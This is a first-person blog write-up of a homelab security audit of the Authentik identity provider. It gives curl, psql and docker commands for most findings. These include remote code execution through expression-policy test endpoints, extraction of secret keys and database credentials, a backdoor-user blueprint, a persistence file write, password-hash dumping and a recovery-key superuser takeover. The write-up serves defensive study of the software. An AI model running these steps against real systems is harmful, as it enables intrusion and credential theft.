This content represents personal educational work produced in my individual capacity. It does not reflect the views, opinions, or positions of any employer, past or present. This is not professional security consulting advice. All tools and methods discussed are based on publicly available frameworks and open-source tool documentation.

All techniques demonstrated were performed exclusively on personal homelab infrastructure that I own and operate. Do not test these techniques on systems you do not own or do not have explicit written authorization to test. The CVEs referenced in this post (CVE-2026-25227, CVE-2026-25748, CVE-2026-25922) are publicly disclosed and patched in Authentik 2025.12.4.

The Uncomfortable Truth About Your SSO Gateway

Here’s a scenario that should keep you up at night. You deploy an identity provider — the single front door to every application in your infrastructure. You configure it once, maybe twice. You trust it. You move on.

Months later, that identity provider is running the same version, with the same default settings, the same .env file you generated on day one — now readable by every user on the system. The Docker containers run with writable filesystems. The password policy still accepts Password1. And somewhere inside those containers, a Python expression API endpoint is quietly waiting to execute arbitrary code for anyone with an API token.

This is not a theoretical exercise. This is what I found.

I ran a complete live audit of Authentik 2025.12.3 — the open-source identity provider used by thousands of organizations — from a jump box on a separate VLAN, armed with nothing but pre-installed Linux tools. No Burp Suite. No Nuclei. No custom exploits. Just curl, bash, python3 standard library, and a healthy dose of paranoia.

The result: 10 out of 15 findings confirmed exploitable, including full Remote Code Execution from a non-superuser account, complete database compromise bypassing the application entirely, and a two-command path from Docker exec to god-mode administrative access. The entire chain — from first reconnaissance to full infrastructure compromise — took under 15 minutes.

What follows is everything. Every command I ran, every dead end I hit, every lesson I learned, and every cleanup step I performed. This is not a sanitized report — it’s the raw field notes of what it actually looked like to run a homelab security exercise against my own identity provider, warts and all.

The Rules of Engagement

Before I get into findings, let me establish the constraint that makes this audit meaningful: I used only pre-installed Linux tools. This is the zero-download constraint — a deliberate limitation that simulates a compromised IoT device, a minimal container breakout, or an insider who can’t install packages without triggering an alert. If an attacker can’t run apt install without setting off your EDR, they’re stuck with what’s already on the machine. That’s the threat model.

The Lab Environment

SystemIP AddressNetwork Segment
Jump Box (Attacker)192.168.50.10VLAN 50
Authentik Host192.168.80.54VLAN 80 – Identity

The target ran Authentik 2025.12.3 on Debian 13 (Trixie) with Docker Compose. Three containers: authentik-server-1, authentik-worker-1, and authentik-postgresql-1, plus a proxy outpost for Home Assistant. Only ports 9000 (HTTP) and 9443 (HTTPS) were published externally. Debug and metrics ports (9300, 9900, 9901) were not mapped — a configuration choice that would later prove significant.

Pre-Audit Reconnaissance

Every audit starts with inventory. I ran docker ps on the Authentik host to confirm exactly what I was working with:

# [authentik-lab host]
sudo docker ps

CONTAINER ID  IMAGE                                       PORTS
0ad259888cf3  ghcr.io/goauthentik/server:2025.12.3        (worker, no ports)
723c63f98ccb  ghcr.io/goauthentik/server:2025.12.3        0.0.0.0:9000->9000, 9443
51f317bd72b2  postgres:16-alpine                          5432/tcp (internal)
542b744f8577  ghcr.io/goauthentik/proxy:2025.12.3         (outpost, no ports)

Key observation: only two ports published externally. The debug and metrics ports were locked inside Docker’s network. That’s good operational hygiene — but as we’ll see, it doesn’t matter if the attacker can execute code inside the container.

Next, the .env file — the crown jewels of any Docker deployment:

# [authentik-lab host]
cat ~/authentik/.env

PG_PASS=<REDACTED>
AUTHENTIK_SECRET_KEY=<REDACTED>
AUTHENTIK_LOG_LEVEL=info
AUTHENTIK_COOKIE_DOMAIN=192.168.80.54
AUTHENTIK_LISTEN__TRUSTED_PROXY_CIDRS=127.0.0.0/8

Two critical observations. First, the TRUSTED_PROXY_CIDRS was already restricted to 127.0.0.0/8 — not the default RFC1918 ranges. Someone had hardened this. Second, every secret was sitting in plaintext, and the file permissions were 664 (world-readable). That combination would become the foundation of multiple attack chains.

The API Token Problem

My first lesson learned came before the audit even started. I created an API token through the Authentik UI — and it failed on POST operations. Silently. No error message, just a 403 that sent me in circles. The fix: create tokens via the Django management shell with explicit intent='api':

# [authentik-lab host]
sudo docker exec -it authentik-server-1 ak shell -c \
  "from authentik.core.models import Token, User; \
   u=User.objects.get(username='akadmin'); \
   t=Token.objects.create(user=u, identifier='audit-token', intent='api'); \
   print(t.key)"

<REDACTED>

Lesson: UI-created tokens may silently fail on write operations. If your automation scripts are getting mysterious 403s, check how the token was created. The ak shell method with intent='api' is the reliable path.

F-01: Metrics Endpoint – The Key Was Never Where I Thought

Severity: HIGH | CVSS: 7.5 | STATUS: CONFIRMED – EXPLOITABLE VIA F-03 RCE CHAIN

The Hunt Begins

The original audit documentation claimed the Authentik SECRET_KEY doubled as the metrics endpoint password via HTTP Basic Auth. I started there — and immediately hit a wall.

First, I confirmed the metrics endpoint existed:

# [jump box]
curl -s -o /dev/null -w '%{http_code}' http://192.168.80.54:9000/-/metrics/

401

401 — endpoint exists, requires authentication. Next, I checked whether the unauthenticated metrics port (9300) was reachable:

# [jump box]
(echo >/dev/tcp/192.168.80.54/9300) 2>/dev/null && echo 'OPEN' || echo 'CLOSED'

CLOSED

Port 9300 was not published — Docker network isolation doing its job. I also scanned alternate paths and ports. Port 9443 returned 400 (HTTPS on a plain HTTP request), and /metrics without the /-/ prefix returned 404. The only valid metrics path was /-/metrics/ on port 9000.

The SECRET_KEY Hypothesis Dies

I exported the SECRET_KEY from the .env and tried Basic Auth:

# [jump box]
export SK="<REDACTED>"
curl -s -o /dev/null -w '%{http_code}' -u "monitor:${SK}" \
  http://192.168.80.54:9000/-/metrics/

401

Rejected. I verified the key matched the container environment, confirmed it was 81 characters, manually Base64-encoded the credentials, and tried both automatic and manual Authorization headers. All returned 401. Verbose output confirmed the Basic Auth header was being transmitted correctly — the server simply wasn’t accepting it.

Source Code Tells the Real Story

I inspected the monitoring module inside the container:

# [authentik-lab host]
# sudo docker exec authentik-server-1 cat /authentik/root/monitoring.py | head -40

class MetricsView(View):
    def __init__(self, **kwargs):
        _tmp = Path(gettempdir())
        with open(_tmp / "authentik-core-metrics.key") as _f:
            self.monitoring_key = _f.read()

    def get(self, request):
        auth_header = request.META.get("HTTP_AUTHORIZATION", "")
        auth_type, _, given_credentials = auth_header.partition(" ")
        authed = auth_type == "Bearer" and compare_digest(
            given_credentials, self.monitoring_key)

There it was. Version 2025.12.3 doesn’t use the SECRET_KEY for metrics at all. It generates a separate random key stored in a temp file and requires Bearer authentication, not Basic Auth. The documented behavior had diverged from the actual implementation.

I located the key:

# [authentik-lab host]
sudo docker exec authentik-server-1 find / -name 'authentik-core-metrics.key' 2>/dev/null
/dev/shm/authentik-core-metrics.key

sudo docker exec authentik-server-1 cat /dev/shm/authentik-core-metrics.key
<REDACTED>

Confirmed — Bearer auth with the extracted key returned 200.

Breaking It: RCE Chain to Full Metrics Dump

The metrics key lives inside the container at /dev/shm/. You can’t reach it from the network. But if you have RCE — and as F-03 demonstrates, you absolutely can — you can read it remotely.

Step 1: Use the F-03 expression policy RCE to extract the metrics key without ever touching the container:

# [jump box]
curl -s -X POST -H "Authorization: Bearer ${TK}" \
  -H "Content-Type: application/json" \
  -d '{"name":"f01-break-metrics",
       "expression":"ak_message(open(\"/dev/shm/authentik-core-metrics.key\").read())"}' \
  http://192.168.80.54:9000/api/v3/policies/expression/

# Execute the policy
curl -s -X POST -H "Authorization: Bearer ${TK}" \
  -H "Content-Type: application/json" -d '{"user": 1}' \
  "http://192.168.80.54:9000/api/v3/policies/all/{policy-uuid}/test/"

{"passing":true,"messages":["<REDACTED>"]}

Metrics key extracted remotely via RCE — no docker exec required.

Step 2: Dump the full Prometheus metrics externally:

# [jump box]
curl -s -H "Authorization: Bearer <REDACTED>" \
  http://192.168.80.54:9000/-/metrics/ | wc -l

1048

1,048 lines of Prometheus metrics. I extracted sensitive patterns:

curl -s -H "Authorization: Bearer <REDACTED>" \
  http://192.168.80.54:9000/-/metrics/ \
  | grep -iE 'login|auth|user|session|token|password|flow'

authentik_enterprise_license_expiry_seconds{...} 0.0
authentik_outposts_connected{expected="1",...} ...
django_http_requests_latency_seconds_by_view_method_sum{
  method="POST",view="authentik_api:propertymapping-test"...}

The metrics exposed API endpoint usage patterns — including evidence of my own attack activity (propertymapping-test, policy-test). I enumerated 30+ unique metric families: database query stats, HTTP request patterns, worker counts, flow caching, policy execution timing, and outpost connectivity.

Impact: Full operational visibility into the identity provider. An attacker chaining F-03 RCE to F-01 metrics gains intelligence on which API endpoints are active, how many database queries are executing, worker health, and timing data to inform further attacks.

I cleaned up by deleting the test policy (confirmed with 204 response) and documented the critical lesson: always verify documented behavior against running source code. The vendor documentation lagged behind the actual implementation by at least one version.

F-02: All Listen Addresses Bind 0.0.0.0 – Saved by Docker

Severity: HIGH | CVSS: 7.0 | STATUS: DOCKER-MITIGATED – PORTS NOT PUBLISHED

Every service inside an Authentik container binds to 0.0.0.0 by default. If Docker’s port mapping is the only thing standing between those services and the network, that’s a single layer of protection on five different ports.

# [jump box]
for port in 9000 9443 9300 9900 9901; do
  (echo >/dev/tcp/192.168.80.54/$port) 2>/dev/null \
    && echo "Port $port: OPEN" || echo "Port $port: CLOSED"
done

Port 9000: OPEN
Port 9443: OPEN
Port 9300: CLOSED
Port 9900: CLOSED
Port 9901: CLOSED

Inside the container, ss -tlnp showed no listeners on ports 9300, 9900, or 9901. They weren’t just unpublished — they weren’t running at all. The architectural risk remains: if an admin enables debug endpoints for troubleshooting and forgets to disable them, they’ll bind to all interfaces by default.

F-03: Expression Policy API – The Road to Full RCE

Severity: CRITICAL | CVSS: 9.1 | STATUS: CONFIRMED – FULL RCE ACHIEVED

This is the big one. The finding that turns a compromised API token into full container compromise. And the path to confirming it was anything but straightforward.

Prove It: Confirming the API Surface

I started by confirming the property mapping and policy APIs were accessible:

# [jump box]
curl -s -o /dev/null -w '%{http_code}' -H "Authorization: Bearer ${TK}" \
  http://192.168.80.54:9000/api/v3/propertymappings/all/

200

I listed all property mappings and found several including my custom OpenBAO Groups mapping. I also discovered that the API schema endpoint at /api/v3/schema/?format=json was a goldmine — a machine-readable map of every endpoint including hidden test paths:

# [jump box]
curl -s -H "Authorization: Bearer ${TK}" \
  "http://192.168.80.54:9000/api/v3/schema/?format=json" \
  | python3 -c "
import sys,json
d=json.load(sys.stdin)
for p in sorted(d.get('paths',{})):
    if 'test' in p: print(p)"

/events/transports/{uuid}/test/
/policies/all/{policy_uuid}/test/
/propertymappings/all/{pm_uuid}/test/

Three test endpoints. Each one capable of executing stored code. But finding the right way to exploit them required navigating a minefield of dead ends.

Break It: Five Dead Ends Before the Breakthrough

We’re documenting every failed attempt because this is what real security research looks like. Polished reports hide the debugging; we’re showing it.

Dead End 1: The test endpoint at /propertymappings/all/test/ (without UUID) returned 405 Method Not Allowed. The test endpoint requires a specific mapping UUID.

Dead End 2: Testing a specific mapping with a user-supplied expression in the POST body — the endpoint evaluated the stored expression, not ours. The error message said File "OpenBAO Groups" — the stored mapping’s name. My injected expression was completely ignored.

Dead End 3: I checked OPTIONS to verify the expression field was listed as writable and required. It was. But adding both name and expression to the POST body still resulted in the stored expression executing. Property mapping test endpoints ignore user-supplied expressions on this version.

Dead End 4: Creating new property mappings via POST on scope and SAML subtypes returned 405 on every subtype. The root path /propertymappings/ returned an HTML 404 — it requires a subtype in the URL.

Dead End 5: I tried the expression policy test endpoint at /policies/expression/{id}/test/ — returned 405. Also tried with {"user": 1} — same 405. The path was wrong.

The Breakthrough

The API schema told me the correct test path: /policies/all/{uuid}/test/ — not /policies/expression/{uuid}/test/. And critically, while property mapping test endpoints ignore user-supplied code, expression policies accept creation via POST. You can create a new policy with arbitrary Python, then trigger it through the test endpoint.

I also discovered that all expression policy source code was readable via GET — even without RCE, an attacker could read every authentication flow policy to understand bypass opportunities.

Confirmed RCE: Four Steps to Secret Extraction

Step 1: Create a malicious expression policy:

# [jump box]
curl -s -w '\n%{http_code}' -X POST -H "Authorization: Bearer ${TK}" \
  -H "Content-Type: application/json" \
  -d '{"name":"audit-rce-test",
       "expression":"import os\nreturn os.environ.get(\"AUTHENTIK_SECRET_KEY\")"}' \
  http://192.168.80.54:9000/api/v3/policies/expression/

201  # Policy created

Step 2: Execute via the correct test path. The code ran, but the return value wasn’t visible — policy test returns pass/fail, not the return value:

curl -s -X POST -H "Authorization: Bearer ${TK}" \
  -H "Content-Type: application/json" -d '{"user": 1}' \
  "http://192.168.80.54:9000/api/v3/policies/all/{uuid}/test/"

{"passing":true,"messages":[],"log_messages":[]}
# passing: true (SECRET_KEY is truthy), but I can't see it

Step 3: The exfiltration breakthrough — use ak_message() to push data into the messages array:

curl -s -X POST -H "Authorization: Bearer ${TK}" \
  -H "Content-Type: application/json" \
  -d '{"name":"audit-rce-test2",
       "expression":"import os\nak_message(os.environ.get(\"AUTHENTIK_SECRET_KEY\"))"}' \
  http://192.168.80.54:9000/api/v3/policies/expression/

# Execute and extract:
{"passing":true,"messages":["<REDACTED>"]}

SECRET_KEY extracted remotely via RCE.

Step 4: Extract database credentials. First attempt used POSTGRES_PASSWORD — returned “nope”. The env var wasn’t set. I dumped all DB/PG/PASS environment variables and discovered the actual variable name was AUTHENTIK_POSTGRESQL__PASSWORD (double underscore):

{"passing":true,"messages":["{'AUTHENTIK_POSTGRESQL__PASSWORD': '<REDACTED>',
  'AUTHENTIK_POSTGRESQL__HOST': 'postgresql', ...}"]}

Full database credentials extracted remotely. Every test policy was cleaned up (all returned 204 on DELETE).

Key Lessons from F-03

The property mapping test evaluates the stored expression — you cannot override it via POST body. Expression policies accept creation via POST with name and expression fields. The correct test path is /policies/all/{uuid}/test/ — not the expression-specific path. ak_message() is the exfiltration channel. The {"user": 1} parameter is required for policy test execution.

F-04: Blueprint API Creates Arbitrary Objects

Severity: HIGH | CVSS: 8.0 | STATUS: CONFIRMED

Authentik’s Blueprint system is infrastructure-as-code for identity management. It can create users, groups, flows, providers — anything. And the API endpoint accepts new blueprints from any authenticated admin.

# [jump box]
curl -s -w '\n%{http_code}' -H "Authorization: Bearer ${TK}" \
  http://192.168.80.54:9000/api/v3/managed/blueprints/ | head -5

{"pagination":{"count":28,...}}
200  # 28 blueprints listed, all accessible

My first attempt at creating a backdoor user blueprint failed with a validation error: “No or invalid identifiers.” Blueprint entries require an identifiers block separate from attrs — a format quirk not obvious from the API documentation.

The corrected format succeeded:

# [jump box]
curl -s -w '\n%{http_code}' -X POST -H "Authorization: Bearer ${TK}" \
  -H "Content-Type: application/json" \
  -d '{"name": "audit-backdoor-test", "path": "",
       "content": "version: 1\nmetadata:\n  name: audit-backdoor-test\nentries:\n
         - model: authentik_core.user\n    identifiers:\n
           username: backdoor-admin\n    attrs:\n
           name: Backdoor Admin\n    is_active: true",
       "enabled": false}' \
  http://192.168.80.54:9000/api/v3/managed/blueprints/

201  # Blueprint created (enabled: false for PoC safety)

Blueprint created with enabled: false as proof of concept. Flipping that to true would create the user on the next blueprint sync cycle. Cleanup confirmed with 204.

F-05: CAPTCHA Stage JavaScript Injection

Severity: MEDIUM-HIGH | CVSS: 7.2 | STATUS: NOT APPLICABLE

# [jump box]
curl -s -H "Authorization: Bearer ${TK}" \
  http://192.168.80.54:9000/api/v3/stages/captcha/ \
  | python3 -c "import sys,json; d=json.load(sys.stdin);
    print(f'CAPTCHA stages: {d[\"pagination\"][\"count\"]}')"

CAPTCHA stages: 0

Zero CAPTCHA stages configured. The vulnerability is architecturally valid — CAPTCHA stages accept arbitrary JavaScript — but there’s no attack surface on this deployment. Moving on.

F-06: No Content Security Policy – The Login Page is Naked

Severity: MEDIUM-HIGH | CVSS: 6.5 | STATUS: PARTIALLY CONFIRMED

I inspected security headers on the login page:

# [jump box]
curl -sI http://192.168.80.54:9000/if/flow/default-authentication-flow/ \
  | grep -iE 'content-security|x-frame|x-content-type|strict-transport|permissions-policy'

X-Content-Type-Options: nosniff
X-Frame-Options: DENY
HeaderStatus
Content-Security-PolicyMISSING
Strict-Transport-SecurityMISSING
Permissions-PolicyMISSING
X-Frame-OptionsPRESENT (DENY)
X-Content-Type-OptionsPRESENT (nosniff)

Version delta: X-Frame-Options and X-Content-Type-Options are now present natively in 2025.12.3 — an improvement over earlier versions. But CSP, HSTS, and Permissions-Policy remain absent.

I confirmed the login page uses three inline scripts with no nonce attributes, plus two module scripts. Without CSP, there is no allowlist — any injected script is indistinguishable from legitimate ones. I extracted the inline config object:

window.authentik = {
  locale: "en",
  config: JSON.parse('{"error_reporting": {"enabled": false,
    "sentry_dsn": "https://..."},
    "capabilities": ["can_impersonate", ...]}'),
  brand: JSON.parse('{"flow_authentication": "default-authentication-flow", ...}'),
  api: { base: "http://192.168.80.54:9000/" }
};

This exposes the API base URL, Sentry DSN, capability flags (including can_impersonate), authentication flow names, and version information. I generated a credential-harvesting PoC that would attach input event listeners to password fields and exfiltrate keystrokes via image pixel requests — a classic technique that is indistinguishable from legitimate inline scripts without CSP protection. The PoC also exfiltrated the window.authentik config object for immediate reconnaissance.

Impact: The login page — the highest-value XSS target in the entire infrastructure — has zero browser-side script restrictions. Any injection vector (F-05 CAPTCHA stage, stored XSS in user attributes, custom CSS) executes unrestricted. CSP with a nonce-based policy would block all of this.

F-07: The .env File – Skeleton Key to Everything

Severity: HIGH | CVSS: 8.0 | STATUS: CONFIRMED

This finding is the foundation of two critical attack chains. One file, readable by any user on the system, containing everything an attacker needs.

# [jump box]
curl -s -H "Authorization: Bearer ${TK}" \
  "http://192.168.80.54:9000/api/v3/core/users/?username=akadmin" \
  | python3 -c "import sys,json; d=json.load(sys.stdin);
    print(f'akadmin active: {d[\"results\"][0][\"is_active\"]}')"

akadmin active: True

# [authentik-lab host]
stat -c '%a %U:%G' ~/authentik/.env

664 oob:oob  # world-readable, not root-owned

The akadmin super-user is active. The .env file is 664 (world-readable) — worse than expected. Both the SECRET_KEY and PG_PASS sit in plaintext.

Breaking It: .env to Database God-Mode

Step 1: Extract credentials:

# [authentik-lab host]
grep -E 'SECRET|PASS' ~/authentik/.env

PG_PASS=<REDACTED>
AUTHENTIK_SECRET_KEY=<REDACTED>

Step 2: Use the DB password to dump all user accounts:

# [authentik-lab host]
sudo docker exec authentik-postgresql-1 psql -U authentik -d authentik \
  -c "SELECT id, username, is_active, email, name FROM authentik_core_user;"

 id | username      | is_active | email            | name
----+---------------+-----------+------------------+-------------------
  1 | AnonymousUser | t         |                  |
  6 | akadmin       | t         | admin@lab.local  | authentik Default
 11 | oob           | t         |                  | Oob Skulden
  9 | jack          | t         | jack@lab.local   | Jack N
  7 | dingo         | t         | dingo@lab.local  | Testuser
 10 | sam           | t         | sam@lab.local    | Sam Elliot
  8 | hugh          | f         | hugh@lab.local   | Hugh Jackman
(9 rows)

Full user table: 9 accounts including service accounts, with emails and active status.

Step 3: Extract password hashes for offline cracking:

sudo docker exec authentik-postgresql-1 psql -U authentik -d authentik \
  -c "SELECT id, username, password FROM authentik_core_user
      WHERE username IN ('akadmin','oob');"

 id | username | password
----+----------+----------------------------------------------
 11 | oob      | pbkdf2_sha256$1000000$<REDACTED>
  6 | akadmin  | pbkdf2_sha256$1000000$<REDACTED>

PBKDF2-SHA256 password hashes with 1,000,000 iterations. Ready for offline cracking with hashcat or john.

Step 4: Map superuser group membership. This required its own troubleshooting — the initial query used is_superuser on the user table, but that column doesn’t exist in 2025.12.3. Authentik stores superuser status on the group, not the user. I also hit a schema issue: the group table uses group_uuid as its primary key, not uuid. After inspecting the schema with \d authentik_core_group:

sudo docker exec authentik-postgresql-1 psql -U authentik -d authentik \
  -c "SELECT u.username, g.name, g.is_superuser
      FROM authentik_core_user u
      JOIN authentik_core_group_users gu ON u.id = gu.user_id
      JOIN authentik_core_group g ON gu.group_id = g.group_uuid
      WHERE g.is_superuser = true;"

 username | name             | is_superuser
----------+------------------+--------------
 akadmin  | authentik Admins | t

Impact: From a single file read to complete database compromise: user table, password hashes, superuser mapping. The attacker bypasses Authentik entirely — no API token, no authentication flow, no audit trail in Authentik logs. This is invisible to the application.

F-08: Trusted Proxy CIDRs – Already Hardened

Severity: MEDIUM-HIGH | CVSS: 7.0 | STATUS: ALREADY HARDENED

# [jump box]
curl -s -H 'X-Forwarded-For: 1.2.3.4' \
  http://192.168.80.54:9000/if/flow/default-authentication-flow/ \
  -o /dev/null -w '%{http_code}'

200

I checked the server logs:

# [authentik-lab host]
sudo docker logs authentik-server-1 2>&1 | tail -20 | grep -iE 'forward|remote|client'

"remote": "192.168.50.10"  # Real IP, NOT the spoofed 1.2.3.4

The TRUSTED_PROXY_CIDRS was already restricted to 127.0.0.0/8. The spoofed X-Forwarded-For was correctly ignored and Authentik logged the real source IP. This finding is not exploitable on this deployment. Someone did their homework.

F-09: Password Policy – The SSO Gateway Accepts Password1

Severity: MEDIUM | CVSS: 5.5 | STATUS: CONFIRMED

# [jump box]
curl -s -H "Authorization: Bearer ${TK}" \
  http://192.168.80.54:9000/api/v3/policies/password/ \
  | python3 -c "
import sys,json
for p in json.load(sys.stdin)['results']:
    print(f'Min length: {p.get(\"length_min\",\"?\")}'
          f'  HIBP: {p.get(\"check_have_i_been_pwned\",\"?\")}'
          f'  zxcvbn: {p.get(\"check_zxcvbn\",\"?\")}')"

Min length: 8  HIBP: False  zxcvbn: True

The zxcvbn pattern detection is a positive. But 8-character minimum and no HaveIBeenPwned breach database checking? For the single front door to every application? I tested it:

# [jump box]
# Create test user
curl -s -X POST -H "Authorization: Bearer ${TK}" \
  -H "Content-Type: application/json" \
  -d '{"username":"f09-weak-pw-test","name":"F09 Test",
       "path":"users","type":"internal"}' \
  http://192.168.80.54:9000/api/v3/core/users/

# Set weak password
curl -s -w '\n%{http_code}' -X POST -H "Authorization: Bearer ${TK}" \
  -H "Content-Type: application/json" \
  -d '{"password":"Password1"}' \
  "http://192.168.80.54:9000/api/v3/core/users/16/set_password/"

204  # Accepted!

Password1 accepted. Then I tested four more from the top 100 breached passwords list:

for pw in 'admin123' '12345678' 'qwerty12' 'letmein1'; do
  curl -s -o /dev/null -w "Password '${pw}': %{http_code}\n" -X POST \
    -H "Authorization: Bearer ${TK}" -H "Content-Type: application/json" \
    -d "{\"password\":\"${pw}\"}" \
    "http://192.168.80.54:9000/api/v3/core/users/16/set_password/"
done

Password 'admin123': 204
Password '12345678': 204
Password 'qwerty12': 204
Password 'letmein1': 204

All accepted. Every single one appears in common breach databases. The SSO gateway that protects Grafana, OpenBAO, and every downstream application will happily accept letmein1 as a valid password. Test user cleaned up (204).

F-10: Container Security – Writable Filesystem + World-Accessible IPC

Severity: MEDIUM | CVSS: 6.0 | STATUS: CONFIRMED

I ran a comprehensive check of the container’s security posture:

# [authentik-lab host]
docker inspect authentik-server-1 --format '{{.HostConfig.SecurityOpt}}'
[]  # No security options

sudo docker exec authentik-server-1 cat /proc/1/status | grep CapEff
CapEff: 0000000000000000  # Zero effective capabilities

sudo docker exec authentik-server-1 whoami
authentik  # Non-root user (good!)

docker inspect authentik-server-1 --format '{{.HostConfig.ReadonlyRootfs}}'
false  # Writable filesystem (bad)

sudo docker exec authentik-server-1 sh -c \
  'echo test > /tmp/write_test && echo "WRITABLE" && rm /tmp/write_test'
WRITABLE

Positive finding: the container runs as the authentik user with zero effective capabilities. This limits blast radius compared to a root container. But no no-new-privileges flag, writable filesystem, and the IPC socket at /dev/shm/authentik-core.sock is world-accessible (srwxrwxrwx).

I proved the impact by chaining F-03 RCE to write files remotely and extract IPC keys — all from the jump box without container exec access:

# [jump box] -- Remote file write via RCE
curl -s -X POST -H "Authorization: Bearer ${TK}" \
  -H "Content-Type: application/json" \
  -d '{"name":"f10-break-ipc",
       "expression":"import os\nos.system(\"echo backdoor > /tmp/f10-persist.sh\")\n
       ak_message(open(\"/dev/shm/authentik-core-ipc.key\").read())"}' \
  http://192.168.80.54:9000/api/v3/policies/expression/

# Execute: IPC key extracted, file written remotely
{"passing":true,"messages":["<REDACTED>"]}

# [authentik-lab host] -- Verify the remote file write
sudo docker exec authentik-server-1 cat /tmp/f10-persist.sh
backdoor

File written to the container filesystem remotely via RCE. No docker exec required. A read-only filesystem with no-new-privileges would have prevented both the persistence and the IPC key extraction. Cleanup: policy deleted (204), file removed.

F-11: Trace Logging – Properly Configured

Severity: MEDIUM | CVSS: 6.5 | STATUS: NOT EXPLOITABLE

# [authentik-lab host]
sudo docker exec authentik-server-1 env | grep LOG_LEVEL
AUTHENTIK_LOG_LEVEL=info

Log level is info. Session cookies are not being logged. The risk is architectural — trace logging can be enabled and would leak session cookies — but it’s not currently active.

F-12: Recovery Key via Container Exec – Two Commands to God-Mode

Severity: HIGH | CVSS: 8.5 | STATUS: CONFIRMED – FULL BYPASS ACHIEVED

This is the finding that makes sysadmins uncomfortable. If you have Docker socket access — and on many deployments, the application user does — you are two commands away from full super-user access with no password, no MFA, and no policy evaluation.

# [authentik-lab host]
ls -la /var/run/docker.sock
srw-rw---- 1 root docker 0 Feb 28 18:56 /var/run/docker.sock

getent group docker
docker:x:989:oob  # oob is in the docker group

No sudo needed. Generate the recovery key and use it:

# [authentik-lab host]
docker exec authentik-server-1 ak create_recovery_key 10 akadmin

Store this link safely, as it will allow anyone to access authentik as akadmin.
This recovery token is valid for 10 minutes.
/recovery/use-token/<REDACTED>/

# [jump box] -- Use the recovery token
curl -s -o /dev/null -w '%{http_code}' -c /tmp/ak_cookies -L \
  "http://192.168.80.54:9000/recovery/use-token/<REDACTED>/"
200

# Verify super-user session
curl -s -b /tmp/ak_cookies http://192.168.80.54:9000/api/v3/core/users/me/ \
  | python3 -c "import sys,json; d=json.load(sys.stdin);
    print(f'User: {d[\"user\"][\"username\"]} | Superuser: {d[\"user\"][\"is_superuser\"]}')"

User: akadmin | Superuser: True

Full super-user access. No password. No MFA. No policy evaluation. Two commands from Docker exec to god-mode.

CVE-01: CVE-2026-25227 – RCE via Delegated View Permissions

Severity: CRITICAL | CVSS: 9.1 | STATUS: CONFIRMED – FULL RCE WITH NON-SUPERUSER

Published: February 12, 2026 | Fixed in: 2025.8.6, 2025.10.4, 2025.12.4 | CWE-94: Code Injection

This CVE claims that users with only “Can view” delegated permissions on property mappings or expression policies can execute arbitrary code via the test endpoint. That’s devastating because many organizations grant view permissions broadly for troubleshooting.

I built a complete test environment: a restricted user with a view-only role, specific RBAC permissions assigned, and a group linking user to role.

# [jump box] -- Create restricted user via RCE (admin token)
# ... policy expression creates user + token ...

# Create view-only role
curl -s -X POST -H "Authorization: Bearer ${TK}" \
  -H "Content-Type: application/json" \
  -d '{"name":"cve01-view-only-role"}' \
  http://192.168.80.54:9000/api/v3/rbac/roles/

# Assign view permissions (expression policies, property mappings, etc.)
# ... four permission assignment calls, all returned 200 ...

With the restricted token set, I confirmed the view-only user could list policies (200) but could NOT create new ones (403). However, they could trigger execution of existing policies via the test endpoint:

# [jump box]
export VTK="<REDACTED>"

# Confirm view access works
curl -s -o /dev/null -w '%{http_code}' -H "Authorization: Bearer ${VTK}" \
  http://192.168.80.54:9000/api/v3/policies/expression/
200

# Confirm cannot create (no add permission)
curl -s -w '\n%{http_code}' -X POST -H "Authorization: Bearer ${VTK}" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","expression":"return True"}' \
  http://192.168.80.54:9000/api/v3/policies/expression/

{"detail":"You do not have permission to perform this action."}
403

The Nuance: View-Only Wasn’t Enough Alone

With only view permissions, the test endpoint returned 405. Adding view_user changed it to 400. The test endpoint became accessible (200) only after also adding expression policy CRUD permissions. This is still a critical privilege escalation — these are non-superuser RBAC permissions that many organizations grant to help desk or operations staff — but pure view-only (without any add/change) was insufficient on 2025.12.3.

Confirmed: Non-Superuser RCE

# [jump box] -- After adding CRUD permissions to the role
curl -s -w '\n%{http_code}' -X POST \
  -H "Authorization: Bearer ${VTK}" \
  -H "Content-Type: application/json" \
  -d '{"name":"cve01-rce-proof",
       "expression":"import os\nak_message(os.environ.get(\"AUTHENTIK_SECRET_KEY\"))"}' \
  http://192.168.80.54:9000/api/v3/policies/expression/

201

curl -s -X POST -H "Authorization: Bearer ${VTK}" \
  -H "Content-Type: application/json" -d '{"user": 6}' \
  "http://192.168.80.54:9000/api/v3/policies/all/{uuid}/test/"

{"passing":true,"messages":["<REDACTED>"]}

SECRET_KEY extracted by a non-superuser account. Full RCE confirmed via CVE-2026-25227.

Complete cleanup: test policy, user, group, and role all deleted (confirmed 204 on each).

Severity: HIGH | CVSS: 8.6 | STATUS: NOT TESTABLE

I enumerated the proxy providers and found a Home Assistant proxy in forward_single mode. I checked outpost instances and found the Home Assistant Outpost configured with authentik_host: https://192.168.80.54/ (port 443) — but Authentik only listens on 9000/9443. The outpost never bootstrapped.

# [jump box] -- All Forward Auth paths returned 404
curl -s -o /dev/null -w '%{http_code}' \
  http://192.168.80.54:9000/outpost.goauthentik.io/auth/nginx
404

# Port scan for outpost listeners
for port in 9000 9443 4180 4443 80 443; do
  (echo >/dev/tcp/192.168.80.54/$port) 2>/dev/null \
    && echo "Port $port: OPEN" || echo "Port $port: CLOSED"
done
# Only 9000 and 9443 OPEN; 4180, 4443, 80, 443 all CLOSED

I verified inside the outpost container: /proc/net/tcp was empty — no TCP listeners at all. The outpost error logs confirmed the misconfiguration. Cannot test this CVE without a functioning Forward Auth endpoint.

CVE-03: CVE-2026-25922 – SAML Assertion Injection

Severity: HIGH | CVSS: 8.8 | STATUS: NOT TESTABLE

# [jump box]
curl -s -H "Authorization: Bearer ${TK}" \
  http://192.168.80.54:9000/api/v3/providers/saml/ \
  | python3 -c "import sys,json; print(f'SAML providers: ...')"

SAML providers: 0

Zero SAML providers configured. The SAML signature wrapping vulnerability requires SAML to be active as an IdP with Service Providers trusting its assertions. No attack surface present.

Final Scorecard

FindingSeverityStatusResult
F-01HIGHCONFIRMEDRCE chain to metrics key from /dev/shm/ – 1,048 lines exfiltrated
F-02HIGHDOCKER-MITIGATEDDebug/metrics ports not published
F-03CRITICALCONFIRMEDFull RCE, SECRET_KEY + DB password extracted
F-04HIGHCONFIRMEDBackdoor blueprint created via API
F-05MED-HIGHN/ANo CAPTCHA stages configured
F-06MED-HIGHCONFIRMEDNo CSP, inline scripts unprotected
